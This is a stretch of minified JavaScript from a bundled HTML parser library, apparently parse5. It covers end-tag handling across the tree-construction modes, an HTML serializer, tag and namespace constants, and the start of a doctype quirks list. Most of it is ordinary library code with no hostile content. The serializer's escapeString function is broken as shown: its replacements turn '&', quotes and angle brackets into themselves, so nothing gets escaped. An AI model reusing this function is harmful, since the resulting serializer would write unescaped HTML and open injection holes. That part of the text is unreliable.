if(q===kA.FORM)CQY(A,K);else if(q===kA.CODE||q===kA.FONT)cWA(A,K);else if(q===kA.NOBR)SQY(A,K);else if(q===kA.AREA)lWA(A,K);else if(q===kA.MATH)pQY(A,K);else if(q===kA.MENU)UQY(A,K);else if(q!==kA.HEAD)KL(A,K);break;case 5:if(q===kA.STYLE||q===kA.TITLE)BG(A,K);else if(q===kA.ASIDE)gp(A,K);else if(q===kA.SMALL)cWA(A,K);else if(q===kA.TABLE)hQY(A,K);else if(q===kA.EMBED)lWA(A,K);else if(q===kA.INPUT)bQY(A,K);else if(q===kA.PARAM||q===kA.TRACK)Hk7(A,K);else if(q===kA.IMAGE)uQY(A,K);else if(q!==kA.FRAME&&q!==kA.TBODY&&q!==kA.TFOOT&&q!==kA.THEAD)KL(A,K);break;case 6:if(q===kA.SCRIPT)BG(A,K);else if(q===kA.CENTER||q===kA.FIGURE||q===kA.FOOTER||q===kA.HEADER||q===kA.HGROUP||q===kA.DIALOG)gp(A,K);else if(q===kA.BUTTON)yQY(A,K);else if(q===kA.STRIKE||q===kA.STRONG)cWA(A,K);else if(q===kA.APPLET||q===kA.OBJECT)wk7(A,K);else if(q===kA.KEYGEN)lWA(A,K);else if(q===kA.SOURCE)Hk7(A,K);else if(q===kA.IFRAME)gQY(A,K);else if(q===kA.SELECT)FQY(A,K);else if(q===kA.OPTION)Ok7(A,K);else KL(A,K);break;case 7:if(q===kA.BGSOUND)BG(A,K);else if(q===kA.DETAILS||q===kA.ADDRESS||q===kA.ARTICLE||q===kA.SECTION||q===kA.SUMMARY)gp(A,K);else if(q===kA.LISTING)zk7(A,K);else if(q===kA.MARQUEE)wk7(A,K);else if(q===kA.NOEMBED)Jk7(A,K);else if(q!==kA.CAPTION)KL(A,K);break;case 8:if(q===kA.BASEFONT)BG(A,K);else if(q===kA.FRAMESET)EQY(A,K);else if(q===kA.FIELDSET)gp(A,K);else if(q===kA.TEXTAREA)BQY(A,K);else if(q===kA.TEMPLATE)BG(A,K);else if(q===kA.NOSCRIPT)if(A.options.scriptingEnabled)Jk7(A,K);else KL(A,K);else if(q===kA.OPTGROUP)Ok7(A,K);else if(q!==kA.COLGROUP)KL(A,K);break;case 9:if(q===kA.PLAINTEXT)RQY(A,K);else KL(A,K);break;case 10:if(q===kA.BLOCKQUOTE||q===kA.FIGCAPTION)gp(A,K);else KL(A,K);break;default:KL(A,K)}}function cQY(A){if(A.openElements.hasInScope(kA.BODY))A.insertionMode="AFTER_BODY_MODE"}function lQY(A,K){if(A.openElements.hasInScope(kA.BODY))A.insertionMode="AFTER_BODY_MODE",A._processToken(K)}function vs(A,K){let q=K.tagName;if(A.openElements.hasInScope(q))A.openElements.generateImpliedEndTags(),A.openElements.popUntilTagNamePopped(q)}function iQY(A){let K=A.openElements.tmplCount>0,q=A.formElement;if(!K)A.formElement=null;if((q||K)&&A.openElements.hasInScope(kA.FORM))if(A.openElements.generateImpliedEndTags(),K)A.openElements.popUntilTagNamePopped(kA.FORM);else A.openElements.remove(q)}function nQY(A){if(!A.openElements.hasInButtonScope(kA.P))A._insertFakeElement(kA.P);A._closePElement()}function rQY(A){if(A.openElements.hasInListItemScope(kA.LI))A.openElements.generateImpliedEndTagsWithExclusion(kA.LI),A.openElements.popUntilTagNamePopped(kA.LI)}function oQY(A,K){let q=K.tagName;if(A.openElements.hasInScope(q))A.openElements.generateImpliedEndTagsWithExclusion(q),A.openElements.popUntilTagNamePopped(q)}function aQY(A){if(A.openElements.hasNumberedHeaderInScope())A.openElements.generateImpliedEndTags(),A.openElements.popUntilNumberedHeaderPopped()}function $k7(A,K){let q=K.tagName;if(A.openElements.hasInScope(q))A.openElements.generateImpliedEndTags(),A.openElements.popUntilTagNamePopped(q),A.activeFormattingElements.clearToLastMarker()}function sQY(A){A._reconstructActiveFormattingElements(),A._insertFakeElement(kA.BR),A.openElements.pop(),A.framesetOk=!1}function qS(A,K){let q=K.tagName;for(let Y=A.openElements.stackTop;Y>0;Y--){let z=A.openElements.items[Y];if(A.treeAdapter.getTagName(z)===q){A.openElements.generateImpliedEndTagsWithExclusion(q),A.openElements.popUntilElementPopped(z);break}if(A._isSpecialElement(z))break}}function Qf6(A,K){let q=K.tagName;switch(q.length){case 1:if(q===kA.A||q===kA.B||q===kA.I||q===kA.S||q===kA.U)Es(A,K);else if(q===kA.P)nQY(A,K);else qS(A,K);break;case 2:if(q===kA.DL||q===kA.UL||q===kA.OL)vs(A,K);else if(q===kA.LI)rQY(A,K);else if(q===kA.DD||q===kA.DT)oQY(A,K);else if(q===kA.H1||q===kA.H2||q===kA.H3||q===kA.H4||q===kA.H5||q===kA.H6)aQY(A,K);else if(q===kA.BR)sQY(A,K);else if(q===kA.EM||q===kA.TT)Es(A,K);else qS(A,K);break;case 3:if(q===kA.BIG)Es(A,K);else if(q===kA.DIR||q===kA.DIV||q===kA.NAV||q===kA.PRE)vs(A,K);else qS(A,K);break;case 4:if(q===kA.BODY)cQY(A,K);else if(q===kA.HTML)lQY(A,K);else if(q===kA.FORM)iQY(A,K);else if(q===kA.CODE||q===kA.FONT||q===kA.NOBR)Es(A,K);else if(q===kA.MAIN||q===kA.MENU)vs(A,K);else qS(A,K);break;case 5:if(q===kA.ASIDE)vs(A,K);else if(q===kA.SMALL)Es(A,K);else qS(A,K);break;case 6:if(q===kA.CENTER||q===kA.FIGURE||q===kA.FOOTER||q===kA.HEADER||q===kA.HGROUP||q===kA.DIALOG)vs(A,K);else if(q===kA.APPLET||q===kA.OBJECT)$k7(A,K);else if(q===kA.STRIKE||q===kA.STRONG)Es(A,K);else qS(A,K);break;case 7:if(q===kA.ADDRESS||q===kA.ARTICLE||q===kA.DETAILS||q===kA.SECTION||q===kA.SUMMARY||q===kA.LISTING)vs(A,K);else if(q===kA.MARQUEE)$k7(A,K);else qS(A,K);break;case 8:if(q===kA.FIELDSET)vs(A,K);else if(q===kA.TEMPLATE)Z5A(A,K);else qS(A,K);break;case 10:if(q===kA.BLOCKQUOTE||q===kA.FIGCAPTION)vs(A,K);else qS(A,K);break;default:qS(A,K)}}function Fp(A,K){if(A.tmplInsertionModeStackTop>-1)Dk7(A,K);else A.stopped=!0}function tQY(A,K){if(K.tagName===kA.SCRIPT)A.pendingScript=A.openElements.current;A.openElements.pop(),A.insertionMode=A.originalInsertionMode}function eQY(A,K){A._err(WW.eofInElementThatCanContainOnlyText),A.openElements.pop(),A.insertionMode=A.originalInsertionMode,A._processToken(K)}function Qp(A,K){let q=A.openElements.currentTagName;if(q===kA.TABLE||q===kA.TBODY||q===kA.TFOOT||q===kA.THEAD||q===kA.TR)A.pendingCharacterTokens=[],A.hasNonWhitespacePendingCharacterToken=!1,A.originalInsertionMode=A.insertionMode,A.insertionMode="IN_TABLE_TEXT_MODE",A._processToken(K);else qL(A,K)}function AUY(A,K){A.openElements.clearBackToTableContext(),A.activeFormattingElements.insertMarker(),A._insertElement(K,g7.HTML),A.insertionMode="IN_CAPTION_MODE"}function KUY(A,K){A.openElements.clearBackToTableContext(),A._insertElement(K,g7.HTML),A.insertionMode="IN_COLUMN_GROUP_MODE"}function qUY(A,K){A.openElements.clearBackToTableContext(),A._insertFakeElement(kA.COLGROUP),A.insertionMode="IN_COLUMN_GROUP_MODE",A._processToken(K)}function YUY(A,K){A.openElements.clearBackToTableContext(),A._insertElement(K,g7.HTML),A.insertionMode="IN_TABLE_BODY_MODE"}function zUY(A,K){A.openElements.clearBackToTableContext(),A._insertFakeElement(kA.TBODY),A.insertionMode="IN_TABLE_BODY_MODE",A._processToken(K)}function wUY(A,K){if(A.openElements.hasInTableScope(kA.TABLE))A.openElements.popUntilTagNamePopped(kA.TABLE),A._resetInsertionMode(),A._processToken(K)}function HUY(A,K){let q=h1.getTokenAttr(K,_k7.TYPE);if(q&&q.toLowerCase()==="hidden")A._appendElement(K,g7.HTML);else qL(A,K);K.ackSelfClosing=!0}function JUY(A,K){if(!A.formElement&&A.openElements.tmplCount===0)A._insertElement(K,g7.HTML),A.formElement=A.openElements.current,A.openElements.pop()}function Uf6(A,K){let q=K.tagName;switch(q.length){case 2:if(q===kA.TD||q===kA.TH||q===kA.TR)zUY(A,K);else qL(A,K);break;case 3:if(q===kA.COL)qUY(A,K);else qL(A,K);break;case 4:if(q===kA.FORM)JUY(A,K);else qL(A,K);break;case 5:if(q===kA.TABLE)wUY(A,K);else if(q===kA.STYLE)BG(A,K);else if(q===kA.TBODY||q===kA.TFOOT||q===kA.THEAD)YUY(A,K);else if(q===kA.INPUT)HUY(A,K);else qL(A,K);break;case 6:if(q===kA.SCRIPT)BG(A,K);else qL(A,K);break;case 7:if(q===kA.CAPTION)AUY(A,K);else qL(A,K);break;case 8:if(q===kA.COLGROUP)KUY(A,K);else if(q===kA.TEMPLATE)BG(A,K);else qL(A,K);break;default:qL(A,K)}}function pf6(A,K){let q=K.tagName;if(q===kA.TABLE){if(A.openElements.hasInTableScope(kA.TABLE))A.openElements.popUntilTagNamePopped(kA.TABLE),A._resetInsertionMode()}else if(q===kA.TEMPLATE)Z5A(A,K);else if(q!==kA.BODY&&q!==kA.CAPTION&&q!==kA.COL&&q!==kA.COLGROUP&&q!==kA.HTML&&q!==kA.TBODY&&q!==kA.TD&&q!==kA.TFOOT&&q!==kA.TH&&q!==kA.THEAD&&q!==kA.TR)qL(A,K)}function qL(A,K){let q=A.fosterParentingEnabled;A.fosterParentingEnabled=!0,A._processTokenInBodyMode(K),A.fosterParentingEnabled=q}function OUY(A,K){A.pendingCharacterTokens.push(K)}function XUY(A,K){A.pendingCharacterTokens.push(K),A.hasNonWhitespacePendingCharacterToken=!0}function FmA(A,K){let q=0;if(A.hasNonWhitespacePendingCharacterToken)for(;q<A.pendingCharacterTokens.length;q++)qL(A,A.pendingCharacterTokens[q]);else for(;q<A.pendingCharacterTokens.length;q++)A._insertCharacters(A.pendingCharacterTokens[q]);A.insertionMode=A.originalInsertionMode,A._processToken(K)}function $UY(A,K){let q=K.tagName;if(q===kA.CAPTION||q===kA.COL||q===kA.COLGROUP||q===kA.TBODY||q===kA.TD||q===kA.TFOOT||q===kA.TH||q===kA.THEAD||q===kA.TR){if(A.openElements.hasInTableScope(kA.CAPTION))A.openElements.generateImpliedEndTags(),A.openElements.popUntilTagNamePopped(kA.CAPTION),A.activeFormattingElements.clearToLastMarker(),A.insertionMode="IN_TABLE_MODE",A._processToken(K)}else Rf(A,K)}function _UY(A,K){let q=K.tagName;if(q===kA.CAPTION||q===kA.TABLE){if(A.openElements.hasInTableScope(kA.CAPTION)){if(A.openElements.generateImpliedEndTags(),A.openElements.popUntilTagNamePopped(kA.CAPTION),A.activeFormattingElements.clearToLastMarker(),A.insertionMode="IN_TABLE_MODE",q===kA.TABLE)A._processToken(K)}}else if(q!==kA.BODY&&q!==kA.COL&&q!==kA.COLGROUP&&q!==kA.HTML&&q!==kA.TBODY&&q!==kA.TD&&q!==kA.TFOOT&&q!==kA.TH&&q!==kA.THEAD&&q!==kA.TR)Qf6(A,K)}function GUY(A,K){let q=K.tagName;if(q===kA.HTML)Rf(A,K);else if(q===kA.COL)A._appendElement(K,g7.HTML),K.ackSelfClosing=!0;else if(q===kA.TEMPLATE)BG(A,K);else HZ1(A,K)}function ZUY(A,K){let q=K.tagName;if(q===kA.COLGROUP){if(A.openElements.currentTagName===kA.COLGROUP)A.openElements.pop(),A.insertionMode="IN_TABLE_MODE"}else if(q===kA.TEMPLATE)Z5A(A,K);else if(q!==kA.COL)HZ1(A,K)}function HZ1(A,K){if(A.openElements.currentTagName===kA.COLGROUP)A.openElements.pop(),A.insertionMode="IN_TABLE_MODE",A._processToken(K)}function WUY(A,K){let q=K.tagName;if(q===kA.TR)A.openElements.clearBackToTableBodyContext(),A._insertElement(K,g7.HTML),A.insertionMode="IN_ROW_MODE";else if(q===kA.TH||q===kA.TD)A.openElements.clearBackToTableBodyContext(),A._insertFakeElement(kA.TR),A.insertionMode="IN_ROW_MODE",A._processToken(K);else if(q===kA.CAPTION||q===kA.COL||q===kA.COLGROUP||q===kA.TBODY||q===kA.TFOOT||q===kA.THEAD){if(A.openElements.hasTableBodyContextInTableScope())A.openElements.clearBackToTableBodyContext(),A.openElements.pop(),A.insertionMode="IN_TABLE_MODE",A._processToken(K)}else Uf6(A,K)}function DUY(A,K){let q=K.tagName;if(q===kA.TBODY||q===kA.TFOOT||q===kA.THEAD){if(A.openElements.hasInTableScope(q))A.openElements.clearBackToTableBodyContext(),A.openElements.pop(),A.insertionMode="IN_TABLE_MODE"}else if(q===kA.TABLE){if(A.openElements.hasTableBodyContextInTableScope())A.openElements.clearBackToTableBodyContext(),A.openElements.pop(),A.insertionMode="IN_TABLE_MODE",A._processToken(K)}else if(q!==kA.BODY&&q!==kA.CAPTION&&q!==kA.COL&&q!==kA.COLGROUP||q!==kA.HTML&&q!==kA.TD&&q!==kA.TH&&q!==kA.TR)pf6(A,K)}function jUY(A,K){let q=K.tagName;if(q===kA.TH||q===kA.TD)A.openElements.clearBackToTableRowContext(),A._insertElement(K,g7.HTML),A.insertionMode="IN_CELL_MODE",A.activeFormattingElements.insertMarker();else if(q===kA.CAPTION||q===kA.COL||q===kA.COLGROUP||q===kA.TBODY||q===kA.TFOOT||q===kA.THEAD||q===kA.TR){if(A.openElements.hasInTableScope(kA.TR))A.openElements.clearBackToTableRowContext(),A.openElements.pop(),A.insertionMode="IN_TABLE_BODY_MODE",A._processToken(K)}else Uf6(A,K)}function MUY(A,K){let q=K.tagName;if(q===kA.TR){if(A.openElements.hasInTableScope(kA.TR))A.openElements.clearBackToTableRowContext(),A.openElements.pop(),A.insertionMode="IN_TABLE_BODY_MODE"}else if(q===kA.TABLE){if(A.openElements.hasInTableScope(kA.TR))A.openElements.clearBackToTableRowContext(),A.openElements.pop(),A.insertionMode="IN_TABLE_BODY_MODE",A._processToken(K)}else if(q===kA.TBODY||q===kA.TFOOT||q===kA.THEAD){if(A.openElements.hasInTableScope(q)||A.openElements.hasInTableScope(kA.TR))A.openElements.clearBackToTableRowContext(),A.openElements.pop(),A.insertionMode="IN_TABLE_BODY_MODE",A._processToken(K)}else if(q!==kA.BODY&&q!==kA.CAPTION&&q!==kA.COL&&q!==kA.COLGROUP||q!==kA.HTML&&q!==kA.TD&&q!==kA.TH)pf6(A,K)}function PUY(A,K){let q=K.tagName;if(q===kA.CAPTION||q===kA.COL||q===kA.COLGROUP||q===kA.TBODY||q===kA.TD||q===kA.TFOOT||q===kA.TH||q===kA.THEAD||q===kA.TR){if(A.openElements.hasInTableScope(kA.TD)||A.openElements.hasInTableScope(kA.TH))A._closeTableCell(),A._processToken(K)}else Rf(A,K)}function VUY(A,K){let q=K.tagName;if(q===kA.TD||q===kA.TH){if(A.openElements.hasInTableScope(q))A.openElements.generateImpliedEndTags(),A.openElements.popUntilTagNamePopped(q),A.activeFormattingElements.clearToLastMarker(),A.insertionMode="IN_ROW_MODE"}else if(q===kA.TABLE||q===kA.TBODY||q===kA.TFOOT||q===kA.THEAD||q===kA.TR){if(A.openElements.hasInTableScope(q))A._closeTableCell(),A._processToken(K)}else if(q!==kA.BODY&&q!==kA.CAPTION&&q!==kA.COL&&q!==kA.COLGROUP&&q!==kA.HTML)Qf6(A,K)}function Zk7(A,K){let q=K.tagName;if(q===kA.HTML)Rf(A,K);else if(q===kA.OPTION){if(A.openElements.currentTagName===kA.OPTION)A.openElements.pop();A._insertElement(K,g7.HTML)}else if(q===kA.OPTGROUP){if(A.openElements.currentTagName===kA.OPTION)A.openElements.pop();if(A.openElements.currentTagName===kA.OPTGROUP)A.openElements.pop();A._insertElement(K,g7.HTML)}else if(q===kA.INPUT||q===kA.KEYGEN||q===kA.TEXTAREA||q===kA.SELECT){if(A.openElements.hasInSelectScope(kA.SELECT)){if(A.openElements.popUntilTagNamePopped(kA.SELECT),A._resetInsertionMode(),q!==kA.SELECT)A._processToken(K)}}else if(q===kA.SCRIPT||q===kA.TEMPLATE)BG(A,K)}function Wk7(A,K){let q=K.tagName;if(q===kA.OPTGROUP){let Y=A.openElements.items[A.openElements.stackTop-1],z=Y&&A.treeAdapter.getTagName(Y);if(A.openElements.currentTagName===kA.OPTION&&z===kA.OPTGROUP)A.openElements.pop();if(A.openElements.currentTagName===kA.OPTGROUP)A.openElements.pop()}else if(q===kA.OPTION){if(A.openElements.currentTagName===kA.OPTION)A.openElements.pop()}else if(q===kA.SELECT&&A.openElements.hasInSelectScope(kA.SELECT))A.openElements.popUntilTagNamePopped(kA.SELECT),A._resetInsertionMode();else if(q===kA.TEMPLATE)Z5A(A,K)}function fUY(A,K){let q=K.tagName;if(q===kA.CAPTION||q===kA.TABLE||q===kA.TBODY||q===kA.TFOOT||q===kA.THEAD||q===kA.TR||q===kA.TD||q===kA.TH)A.openElements.popUntilTagNamePopped(kA.SELECT),A._resetInsertionMode(),A._processToken(K);else Zk7(A,K)}function NUY(A,K){let q=K.tagName;if(q===kA.CAPTION||q===kA.TABLE||q===kA.TBODY||q===kA.TFOOT||q===kA.THEAD||q===kA.TR||q===kA.TD||q===kA.TH){if(A.openElements.hasInTableScope(q))A.openElements.popUntilTagNamePopped(kA.SELECT),A._resetInsertionMode(),A._processToken(K)}else Wk7(A,K)}function TUY(A,K){let q=K.tagName;if(q===kA.BASE||q===kA.BASEFONT||q===kA.BGSOUND||q===kA.LINK||q===kA.META||q===kA.NOFRAMES||q===kA.SCRIPT||q===kA.STYLE||q===kA.TEMPLATE||q===kA.TITLE)BG(A,K);else{let Y=wQY[q]||"IN_BODY_MODE";A._popTmplInsertionMode(),A._pushTmplInsertionMode(Y),A.insertionMode=Y,A._processToken(K)}}function vUY(A,K){if(K.tagName===kA.TEMPLATE)Z5A(A,K)}function Dk7(A,K){if(A.openElements.tmplCount>0)A.openElements.popUntilTagNamePopped(kA.TEMPLATE),A.activeFormattingElements.clearToLastMarker(),A._popTmplInsertionMode(),A._resetInsertionMode(),A._processToken(K);else A.stopped=!0}function EUY(A,K){if(K.tagName===kA.HTML)Rf(A,K);else JZ1(A,K)}function kUY(A,K){if(K.tagName===kA.HTML){if(!A.fragmentContext)A.insertionMode="AFTER_AFTER_BODY_MODE"}else JZ1(A,K)}function JZ1(A,K){A.insertionMode="IN_BODY_MODE",A._processToken(K)}function CUY(A,K){let q=K.tagName;if(q===kA.HTML)Rf(A,K);else if(q===kA.FRAMESET)A._insertElement(K,g7.HTML);else if(q===kA.FRAME)A._appendElement(K,g7.HTML),K.ackSelfClosing=!0;else if(q===kA.NOFRAMES)BG(A,K)}function LUY(A,K){if(K.tagName===kA.FRAMESET&&!A.openElements.isRootHtmlElementCurrent()){if(A.openElements.pop(),!A.fragmentContext&&A.openElements.currentTagName!==kA.FRAMESET)A.insertionMode="AFTER_FRAMESET_MODE"}}function RUY(A,K){let q=K.tagName;if(q===kA.HTML)Rf(A,K);else if(q===kA.NOFRAMES)BG(A,K)}function yUY(A,K){if(K.tagName===kA.HTML)A.insertionMode="AFTER_AFTER_FRAMESET_MODE"}function IUY(A,K){if(K.tagName===kA.HTML)Rf(A,K);else wZ1(A,K)}function wZ1(A,K){A.insertionMode="IN_BODY_MODE",A._processToken(K)}function SUY(A,K){let q=K.tagName;if(q===kA.HTML)Rf(A,K);else if(q===kA.NOFRAMES)BG(A,K)}function hUY(A,K){K.chars=qQY.REPLACEMENT_CHARACTER,A._insertCharacters(K)}function bUY(A,K){A._insertCharacters(K),A.framesetOk=!1}function xUY(A,K){if(jB.causesExit(K)&&!A.fragmentContext){while(A.treeAdapter.getNamespaceURI(A.openElements.current)!==g7.HTML&&!A._isIntegrationPoint(A.openElements.current))A.openElements.pop();A._processToken(K)}else{let q=A._getAdjustedCurrentElement(),Y=A.treeAdapter.getNamespaceURI(q);if(Y===g7.MATHML)jB.adjustTokenMathMLAttrs(K);else if(Y===g7.SVG)jB.adjustTokenSVGTagName(K),jB.adjustTokenSVGAttrs(K);if(jB.adjustTokenXMLAttrs(K),K.selfClosing)A._appendElement(K,Y);else A._insertElement(K,Y);K.ackSelfClosing=!0}}function uUY(A,K){for(let q=A.openElements.stackTop;q>0;q--){let Y=A.openElements.items[q];if(A.treeAdapter.getNamespaceURI(Y)===g7.HTML){A._processToken(K);break}if(A.treeAdapter.getTagName(Y).toLowerCase()===K.tagName){A.openElements.popUntilElementPopped(Y);break}}}});var fk7=v((L_H,Vk7)=>{var BUY=uf6(),mUY=Bf6(),gUY=mf6(),Pk7=Ts(),Cw=Pk7.TAG_NAMES,OZ1=Pk7.NAMESPACES,FUY={treeAdapter:BUY},QUY=/&/g,UUY=/\u00a0/g,pUY=/"/g,dUY=/</g,cUY=/>/g;class lmA{constructor(A,K){this.options=mUY(FUY,K),this.treeAdapter=this.options.treeAdapter,this.html="",this.startNode=A}serialize(){return this._serializeChildNodes(this.startNode),this.html}_serializeChildNodes(A){let K=this.treeAdapter.getChildNodes(A);if(K)for(let q=0,Y=K.length;q<Y;q++){let z=K[q];if(this.treeAdapter.isElementNode(z))this._serializeElement(z);else if(this.treeAdapter.isTextNode(z))this._serializeTextNode(z);else if(this.treeAdapter.isCommentNode(z))this._serializeCommentNode(z);else if(this.treeAdapter.isDocumentTypeNode(z))this._serializeDocumentTypeNode(z)}}_serializeElement(A){let K=this.treeAdapter.getTagName(A),q=this.treeAdapter.getNamespaceURI(A);if(this.html+="<"+K,this._serializeAttributes(A),this.html+=">",K!==Cw.AREA&&K!==Cw.BASE&&K!==Cw.BASEFONT&&K!==Cw.BGSOUND&&K!==Cw.BR&&K!==Cw.COL&&K!==Cw.EMBED&&K!==Cw.FRAME&&K!==Cw.HR&&K!==Cw.IMG&&K!==Cw.INPUT&&K!==Cw.KEYGEN&&K!==Cw.LINK&&K!==Cw.META&&K!==Cw.PARAM&&K!==Cw.SOURCE&&K!==Cw.TRACK&&K!==Cw.WBR){let Y=K===Cw.TEMPLATE&&q===OZ1.HTML?this.treeAdapter.getTemplateContent(A):A;this._serializeChildNodes(Y),this.html+="</"+K+">"}}_serializeAttributes(A){let K=this.treeAdapter.getAttrList(A);for(let q=0,Y=K.length;q<Y;q++){let z=K[q],w=lmA.escapeString(z.value,!0);if(this.html+=" ",!z.namespace)this.html+=z.name;else if(z.namespace===OZ1.XML)this.html+="xml:"+z.name;else if(z.namespace===OZ1.XMLNS){if(z.name!=="xmlns")this.html+="xmlns:";this.html+=z.name}else if(z.namespace===OZ1.XLINK)this.html+="xlink:"+z.name;else this.html+=z.prefix+":"+z.name;this.html+='="'+w+'"'}}_serializeTextNode(A){let K=this.treeAdapter.getTextNodeContent(A),q=this.treeAdapter.getParentNode(A),Y=void 0;if(q&&this.treeAdapter.isElementNode(q))Y=this.treeAdapter.getTagName(q);if(Y===Cw.STYLE||Y===Cw.SCRIPT||Y===Cw.XMP||Y===Cw.IFRAME||Y===Cw.NOEMBED||Y===Cw.NOFRAMES||Y===Cw.PLAINTEXT||Y===Cw.NOSCRIPT)this.html+=K;else this.html+=lmA.escapeString(K,!1)}_serializeCommentNode(A){this.html+="<!--"+this.treeAdapter.getCommentNodeContent(A)+"-->"}_serializeDocumentTypeNode(A){let K=this.treeAdapter.getDocumentTypeNodeName(A);this.html+="<"+gUY.serializeContent(K,null,null)+">"}}lmA.escapeString=function(A,K){if(A=A.replace(QUY,"&").replace(UUY," "),K)A=A.replace(pUY,""");else A=A.replace(dUY,"<").replace(cUY,">");return A};Vk7.exports=lmA});var Tk7=v((iUY)=>{var Nk7=Mk7(),lUY=fk7();iUY.parse=function(K,q){return new Nk7(q).parse(K)};iUY.parseFragment=function(K,q,Y){if(typeof K==="string")Y=q,q=K,K=null;return new Nk7(Y).parseFragment(q,K)};iUY.serialize=function(A,K){return new lUY(A,K).serialize()}});var cf6=v((aUY)=>{var df6=aUY.NAMESPACES={HTML:"http://www.w3.org/1999/xhtml",MATHML:"http://www.w3.org/1998/Math/MathML",SVG:"http://www.w3.org/2000/svg",XLINK:"http://www.w3.org/1999/xlink",XML:"http://www.w3.org/XML/1998/namespace",XMLNS:"http://www.w3.org/2000/xmlns/"};aUY.ATTRS={TYPE:"type",ACTION:"action",ENCODING:"encoding",PROMPT:"prompt",NAME:"name",COLOR:"color",FACE:"face",SIZE:"size"};aUY.DOCUMENT_MODE={NO_QUIRKS:"no-quirks",QUIRKS:"quirks",LIMITED_QUIRKS:"limited-quirks"};var D4=aUY.TAG_NAMES={A:"a",ADDRESS:"address",ANNOTATION_XML:"annotation-xml",APPLET:"applet",AREA:"area",ARTICLE:"article",ASIDE:"aside",B:"b",BASE:"base",BASEFONT:"basefont",BGSOUND:"bgsound",BIG:"big",BLOCKQUOTE:"blockquote",BODY:"body",BR:"br",BUTTON:"button",CAPTION:"caption",CENTER:"center",CODE:"code",COL:"col",COLGROUP:"colgroup",DD:"dd",DESC:"desc",DETAILS:"details",DIALOG:"dialog",DIR:"dir",DIV:"div",DL:"dl",DT:"dt",EM:"em",EMBED:"embed",FIELDSET:"fieldset",FIGCAPTION:"figcaption",FIGURE:"figure",FONT:"font",FOOTER:"footer",FOREIGN_OBJECT:"foreignObject",FORM:"form",FRAME:"frame",FRAMESET:"frameset",H1:"h1",H2:"h2",H3:"h3",H4:"h4",H5:"h5",H6:"h6",HEAD:"head",HEADER:"header",HGROUP:"hgroup",HR:"hr",HTML:"html",I:"i",IMG:"img",IMAGE:"image",INPUT:"input",IFRAME:"iframe",KEYGEN:"keygen",LABEL:"label",LI:"li",LINK:"link",LISTING:"listing",MAIN:"main",MALIGNMARK:"malignmark",MARQUEE:"marquee",MATH:"math",MENU:"menu",META:"meta",MGLYPH:"mglyph",MI:"mi",MO:"mo",MN:"mn",MS:"ms",MTEXT:"mtext",NAV:"nav",NOBR:"nobr",NOFRAMES:"noframes",NOEMBED:"noembed",NOSCRIPT:"noscript",OBJECT:"object",OL:"ol",OPTGROUP:"optgroup",OPTION:"option",P:"p",PARAM:"param",PLAINTEXT:"plaintext",PRE:"pre",RB:"rb",RP:"rp",RT:"rt",RTC:"rtc",RUBY:"ruby",S:"s",SCRIPT:"script",SECTION:"section",SELECT:"select",SOURCE:"source",SMALL:"small",SPAN:"span",STRIKE:"strike",STRONG:"strong",STYLE:"style",SUB:"sub",SUMMARY:"summary",SUP:"sup",TABLE:"table",TBODY:"tbody",TEMPLATE:"template",TEXTAREA:"textarea",TFOOT:"tfoot",TD:"td",TH:"th",THEAD:"thead",TITLE:"title",TR:"tr",TRACK:"track",TT:"tt",U:"u",UL:"ul",SVG:"svg",VAR:"var",WBR:"wbr",XMP:"xmp"};aUY.SPECIAL_ELEMENTS={[df6.HTML]:{[D4.ADDRESS]:!0,[D4.APPLET]:!0,[D4.AREA]:!0,[D4.ARTICLE]:!0,[D4.ASIDE]:!0,[D4.BASE]:!0,[D4.BASEFONT]:!0,[D4.BGSOUND]:!0,[D4.BLOCKQUOTE]:!0,[D4.BODY]:!0,[D4.BR]:!0,[D4.BUTTON]:!0,[D4.CAPTION]:!0,[D4.CENTER]:!0,[D4.COL]:!0,[D4.COLGROUP]:!0,[D4.DD]:!0,[D4.DETAILS]:!0,[D4.DIR]:!0,[D4.DIV]:!0,[D4.DL]:!0,[D4.DT]:!0,[D4.EMBED]:!0,[D4.FIELDSET]:!0,[D4.FIGCAPTION]:!0,[D4.FIGURE]:!0,[D4.FOOTER]:!0,[D4.FORM]:!0,[D4.FRAME]:!0,[D4.FRAMESET]:!0,[D4.H1]:!0,[D4.H2]:!0,[D4.H3]:!0,[D4.H4]:!0,[D4.H5]:!0,[D4.H6]:!0,[D4.HEAD]:!0,[D4.HEADER]:!0,[D4.HGROUP]:!0,[D4.HR]:!0,[D4.HTML]:!0,[D4.IFRAME]:!0,[D4.IMG]:!0,[D4.INPUT]:!0,[D4.LI]:!0,[D4.LINK]:!0,[D4.LISTING]:!0,[D4.MAIN]:!0,[D4.MARQUEE]:!0,[D4.MENU]:!0,[D4.META]:!0,[D4.NAV]:!0,[D4.NOEMBED]:!0,[D4.NOFRAMES]:!0,[D4.NOSCRIPT]:!0,[D4.OBJECT]:!0,[D4.OL]:!0,[D4.P]:!0,[D4.PARAM]:!0,[D4.PLAINTEXT]:!0,[D4.PRE]:!0,[D4.SCRIPT]:!0,[D4.SECTION]:!0,[D4.SELECT]:!0,[D4.SOURCE]:!0,[D4.STYLE]:!0,[D4.SUMMARY]:!0,[D4.TABLE]:!0,[D4.TBODY]:!0,[D4.TD]:!0,[D4.TEMPLATE]:!0,[D4.TEXTAREA]:!0,[D4.TFOOT]:!0,[D4.TH]:!0,[D4.THEAD]:!0,[D4.TITLE]:!0,[D4.TR]:!0,[D4.TRACK]:!0,[D4.UL]:!0,[D4.WBR]:!0,[D4.XMP]:!0},[df6.MATHML]:{[D4.MI]:!0,[D4.MO]:!0,[D4.MN]:!0,[D4.MS]:!0,[D4.MTEXT]:!0,[D4.ANNOTATION_XML]:!0},[df6.SVG]:{[D4.TITLE]:!0,[D4.FOREIGN_OBJECT]:!0,[D4.DESC]:!0}}});var Lk7=v((YpY)=>{var{DOCUMENT_MODE:iWA}=cf6(),kk7=["+//silmaril//dtd html pro v0r11 19970101//","-//as//dtd html 3.0 aswedit + extensions//","-//advasoft ltd//dtd html 3.0 aswedit + extensions//","-//ietf//dtd html 2.0 level 1//","-//ietf//dtd html 2.0 level 2//","-//ietf//dtd html 2.0 strict level 1//","-//ietf//dtd html 2.0 strict level 2//","-//ietf//dtd html 2.0 strict//","-//ietf//dtd html 2.0//","-//ietf//dtd html 2.1e//","-//ietf//dtd html 3.0//","-//ietf//dtd html 3.2 final//","-//ietf//dtd html 3.2//","-//ietf//dtd html 3//","-//ietf//dtd html level 0//","-//ietf//dtd html level 1//","-//ietf//dtd html level 2//","-//ietf//dtd html level 3//","-//ietf//dtd html strict level 0//","-//ietf//dtd html strict 